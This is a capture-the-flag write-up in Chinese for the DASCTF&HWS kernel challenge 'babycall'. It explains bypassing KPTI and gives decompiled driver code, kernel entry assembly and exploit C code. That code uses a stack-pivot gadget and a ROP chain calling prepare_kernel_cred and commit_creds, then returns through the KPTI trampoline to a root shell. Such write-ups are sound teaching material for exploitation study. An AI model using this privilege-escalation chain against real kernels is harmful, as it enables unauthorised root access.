通过DASCTF&HWS赛题babycall来探究绕过KPTI保护

1
2
3
4
5
6
7
8

#!/bin/bash
qemu-system-x86_64 \
-s \
-initrd rootfs.img \
-kernel bzImage \
-append "console=ttyS0 root=/dev/sda rw nokaslr quiet" \
-monitor /dev/null -m 128M -nographic \
-cpu kvm64,+smep

1
2
3
4
5
6
7

/ $ cat /sys/devices/system/cpu/vulnerabilities/*
Mitigation: PTE Inversion
Vulnerable: Clear CPU buffers attempted, no microcode; SMT Host state unknown
Mitigation: PTI
Vulnerable
Mitigation: usercopy/swapgs barriers and __user pointer sanitization
Mitigation: Full generic retpoline, STIBP: disabled, RSB filling

1

size_t babycall_ioctl(file *filp, unsigned int cmd, size_t user_ptr)

1
2

mov     rax, cs:vuln
call    __x86_indirect_thunk_rax // == call RAX

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

int writemsg(char *user_ptr)
{
	ptr = src;
	size = strlen(src);
	if ( size <= 0x20 && src && *src )
	{
		Ptr = src;
		num_address = key; // key[0] = 0x0F0E0E0B0D0A0E0Dh;
		while ( 1 )
		{
			num = *num_address;
			if ( !*num_address )
				break;
			++ptr;
			++num_address;
			if ( num != *(ptr - 1) && !*++Ptr )
				return 0;
		}
		Size = size;
		if ( (size_t)size > 0x20 )
		{
			_warn_printk("Buffer overflow detected (%d < %lu)!\n", 8LL, size);
			BUG();
		}
		_check_object_size(BSS_Ptr, size, 0LL);
		copy_from_user(BSS_Ptr, Ptr, Size);
	}
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

if ( cmd == 0x10002 )
{
	size = strnlen(BSS_Ptr, 0x20uLL);
	Size = size;
	if ( size > 0x20 )
	{
		fortify_panic("strnlen", 0x20LL);
	}
	else if ( size != 0x20 )
	{
		_check_object_size(BSS_Ptr, size, 1LL);
		return copy_to_user(ptr, BSS_Ptr, Size);
	}
	fortify_panic("strlen", 0x20LL);
}

1
2
3
4

.bss:0000000000000780 ; char BSS_Ptr[8]
.bss:0000000000000780 BSS_Ptr
.bss:0000000000000788 ; int (*vuln)(char *)
.bss:0000000000000788 vuln

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

void syscall_init(void)
{
	extern char _entry_trampoline[];
	extern char entry_SYSCALL_64_trampoline[];

	int cpu = smp_processor_id();
	unsigned long SYSCALL64_entry_trampoline =
		(unsigned long)get_cpu_entry_area(cpu)->entry_trampoline +
		(entry_SYSCALL_64_trampoline - _entry_trampoline);

	wrmsr(MSR_STAR, 0, (__USER32_CS << 16) | __KERNEL_CS);
	if (static_cpu_has(X86_FEATURE_PTI))
		wrmsrl(MSR_LSTAR, SYSCALL64_entry_trampoline);
	else
		wrmsrl(MSR_LSTAR, (unsigned long)entry_SYSCALL_64);

#ifdef CONFIG_IA32_EMULATION
	wrmsrl(MSR_CSTAR, (unsigned long)entry_SYSCALL_compat);
	/*
	 * This only works on Intel CPUs.
	 * On AMD CPUs these MSRs are 32-bit, CPU truncates MSR_IA32_SYSENTER_EIP.
	 * This does not cause SYSENTER to jump to the wrong location, because
	 * AMD doesn't allow SYSENTER in long mode (either 32- or 64-bit).
	 */
	wrmsrl_safe(MSR_IA32_SYSENTER_CS, (u64)__KERNEL_CS);
	wrmsrl_safe(MSR_IA32_SYSENTER_ESP, (unsigned long)(cpu_entry_stack(cpu) + 1));
	wrmsrl_safe(MSR_IA32_SYSENTER_EIP, (u64)entry_SYSENTER_compat);
#else
	wrmsrl(MSR_CSTAR, (unsigned long)ignore_sysret);
	wrmsrl_safe(MSR_IA32_SYSENTER_CS, (u64)GDT_ENTRY_INVALID_SEG);
	wrmsrl_safe(MSR_IA32_SYSENTER_ESP, 0ULL);
	wrmsrl_safe(MSR_IA32_SYSENTER_EIP, 0ULL);
#endif

	/* Flags to clear on syscall */
	wrmsrl(MSR_SYSCALL_MASK,
	       X86_EFLAGS_TF|X86_EFLAGS_DF|X86_EFLAGS_IF|
	       X86_EFLAGS_IOPL|X86_EFLAGS_AC|X86_EFLAGS_NT);
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62

ENTRY(entry_SYSCALL_64)
	UNWIND_HINT_EMPTY
	/*
	 * Interrupts are off on entry.
	 * We do not frame this tiny irq-off block with TRACE_IRQS_OFF/ON,
	 * it is too small to ever cause noticeable irq latency.
	 */

	swapgs
	/*
	 * This path is only taken when PAGE_TABLE_ISOLATION is disabled so it
	 * is not required to switch CR3.
	 */
	movq	%rsp, PER_CPU_VAR(rsp_scratch)
	movq	PER_CPU_VAR(cpu_current_top_of_stack), %rsp

	/* Construct struct pt_regs on stack */
	pushq	$__USER_DS					/* pt_regs->ss */
	pushq	PER_CPU_VAR(rsp_scratch)	/* pt_regs->sp */
	pushq	%r11						/* pt_regs->flags */
	pushq	$__USER_CS					/* pt_regs->cs */
	pushq	%rcx						/* pt_regs->ip */
GLOBAL(entry_SYSCALL_64_after_hwframe)
	pushq	%rax						/* pt_regs->orig_ax */

	PUSH_AND_CLEAR_REGS rax=$-ENOSYS

	TRACE_IRQS_OFF

	/* IRQs are off. */
	movq	%rax, %rdi
	movq	%rsp, %rsi
	call	do_syscall_64				/* returns with IRQs disabled */

	TRACE_IRQS_IRETQ					/* we're about to change IF */
	......
	......
syscall_return_via_sysret:
	/* rcx and r11 are already restored (see code above) */
	POP_REGS pop_rdi=0 skip_r11rcx=1

	/*
	 * Now all regs are restored except RSP and RDI.
	 * Save old stack pointer and switch to trampoline stack.
	 */
	movq	%rsp, %rdi
	movq	PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp
	UNWIND_HINT_EMPTY

	pushq	RSP-RDI(%rdi)	/* RSP */
	pushq	(%rdi)			/* RDI */

	/*
	 * We are on the trampoline stack.  All regs except RDI are live.
	 * We can do future final exit work right here.
	 */
	SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi

	popq	%rdi
	popq	%rsp
	USERGS_SYSRET64
END(entry_SYSCALL_64)

1
2
3

mov     rdi, cr3
or      rdi, 1000h
mov     cr3, rdi

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

	save_status();
	int fd = open("/dev/babycall",O_RDONLY);
	size_t key[8],i = 0;
	memset((char*)key,0,0x20);
	memset((char*)ROP,0,0x100);
	
	key[0] = 0x0F0E0E0B0D0A0E0D;
	key[1] = 0xFFFFFFFF81943495; // xchg esp, ecx; add eax, 0x5D010000; ret;

	ioctl(fd,0x10001,&key[0]);

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

pop    r15
pop    r14
pop    r13
pop    r12
pop    rbp
pop    rbx
pop    r11
pop    r10
pop    r9
pop    r8
pop    rax
pop    rcx
pop    rdx
pop    rsi
mov    rdi,rsp
mov    rsp,QWORD PTR gs:0x5004
push   QWORD PTR [rdi+0x30]
push   QWORD PTR [rdi+0x28]
push   QWORD PTR [rdi+0x20]
push   QWORD PTR [rdi+0x18]
push   QWORD PTR [rdi+0x10]
push   QWORD PTR [rdi]
push   rax
xchg   ax,ax
mov    rdi,cr3
jmp    0xFFFFFFFF81C00AA3
↓

or     rdi, 0x1000
mov    cr3, rdi
pop    rax
pop    rdi
swapgs 
nop    dword ptr [rax]
jmp    0xFFFFFFFF81C00AE0
↓

test   byte ptr [rsp + 0x20], 4
jne    0xFFFFFFFF81C00AE9
↓

iretq

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

	ROP[i++] = 0xFFFFFFFF81026CAD; //pop rdi; ret
	ROP[i++] = 0;
	ROP[i++] = prepare_kernel_cred;
	ROP[i++] = 0xFFFFFFFF8131422E; // pop rsi; ret;
	ROP[i++] = 0;
	ROP[i++] = 0xFFFFFFFF812A451A; //test rsi, rsi; jne 0x4a4520; ret;
	ROP[i++] = 0xFFFFFFFF8112A71A; //mov rdi, rax; jne 0x32A6FC; pop rbp; ret;
	ROP[i++] = 0;
	ROP[i++] = commit_creds;
	ROP[i++] = swapgs_restore_regs_and_return_to_usermode;
	i = 24;
	ROP[i++] = 0;
	ROP[i++] = 0;
	ROP[i++] = &get_shell;
	ROP[i++] = user_cs;
	ROP[i++] = user_rflags;
	ROP[i++] = user_sp;
	ROP[i++] = user_ss;
	ioctl(fd,0x10001,&ROP[0]);
	close(fd);